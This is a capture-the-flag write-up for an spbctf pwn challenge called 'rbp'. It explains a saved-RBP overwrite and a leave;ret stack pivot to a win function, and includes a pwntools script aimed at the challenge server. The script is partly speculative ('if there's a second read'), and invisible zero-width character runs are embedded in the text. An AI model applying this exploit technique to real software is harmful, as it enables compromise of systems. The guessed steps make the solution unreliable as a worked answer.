← Back to Writeups
CUSTOMMediumpwn

rbp

XESXOR9/2/20262 min read
#pwn#custom#medium#stack_pivot

rbp

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-03-11 | Status: Solved Techniques: stack_pivot

Summary

Task: RBP overwrite with limited buffer overflow (16 bytes into 8-byte buffer). Solution: Stack pivot via corrupted saved RBP pointing to second buffer containing win address, exploiting leave;ret gadget.

rbp — SPB CTF Pwn Season

Description

"RBP overwrite and stack pivot"

Server: nc 109.233.56.90 11605
Binary: rbp — ELF 64-bit x86-64, not stripped, with debug_info
Points: 10

Analysis

RBP overwrite with stack pivot. The vulnerability is limited — we can only overwrite saved RBP, not the return address directly.

Vulnerability:

  • vuln() function: reads 16 bytes into 8-byte buffer
  • Buffer: rbp-0x8 (8 bytes)
  • Saved RBP: rbp (8 bytes) — we can overwrite this!
  • Return address: rbp+0x8 — NOT reachable with 16-byte read ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Insight: The leave; ret instruction sequence does:

  1. mov rsp, rbp — RSP = our corrupted RBP
  2. pop rbp — pops value from our controlled location
  3. ret — pops return address from our controlled location

Two-step exploit:

  1. Overflow to set saved RBP = &buf2 - 8 (where buf2 is another writable buffer)
  2. Write win address to buf2
  3. When vuln() returns, leave;ret pivots stack to buf2, ret executes win

Solution

python
#!/usr/bin/env python3
from pwn import *

io = remote('109.233.56.90', 11605)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Addresses (found via reversing)
buf2_addr = 0x404080  # second buffer in .bss
win_addr = 0x401162   # win function

# Step 1: Write win address to buf2 (if there's a second read)
# Step 2: Overflow to corrupt RBP

# Payload: 8 bytes buffer + fake RBP pointing to buf2-8
payload = b'A' * 8 + p64(buf2_addr - 8)
io.sendline(payload)

# If second input available, write win address
io.sendline(p64(win_addr))

io.interactive()

Breakdown:

  • Corrupt saved RBP to point to buf2-8
  • leave instruction: RSP = buf2-8
  • pop rbp: RSP = buf2
  • ret: pops win address from buf2, jumps to win ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍